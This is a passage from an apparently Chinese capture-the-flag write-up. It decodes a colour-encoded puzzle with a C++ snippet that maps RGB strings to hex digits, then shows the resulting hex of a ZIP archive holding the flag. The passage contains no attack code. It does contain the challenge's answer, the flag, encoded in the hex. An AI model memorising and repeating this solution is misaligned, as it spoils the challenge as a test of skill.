"(255,255,0)",
"(255,255,255)",
"(128,128,128)",
"(0,128,255)",
"(0,255,128)",
"(128,255,255)",
"(255,128,128)",
"(255,128,255)",
"(255,255,128)",
"(255,255,200)",
};
freopen("op.txt","r",stdin);
while(cin>>s){
for(int i=0;i<16;i++){
if(s==fm[i]){
cout<< std::noshowbase << std::nouppercase << std::hex <<i<<"";
}
}
}
return 0;
}

于是得到 hex

1
504b03040a0000000000ae957557add2d7802a0000002a00000008000000666c61672e747874666c61677b61616531356665652d303137652d343632372d393837322d6530313466346664346339327d504b01023f000a0000000000ae957557add2d7802a0000002a000000080024000000000000002000000000000000666c61672e7478740a002000000000000100180051c061d6671cda0100000000000000000000000000000000504b050600000000010001005a0000005000000000000000000000000000

Winhex 直接保存为.zip 打开就是 flag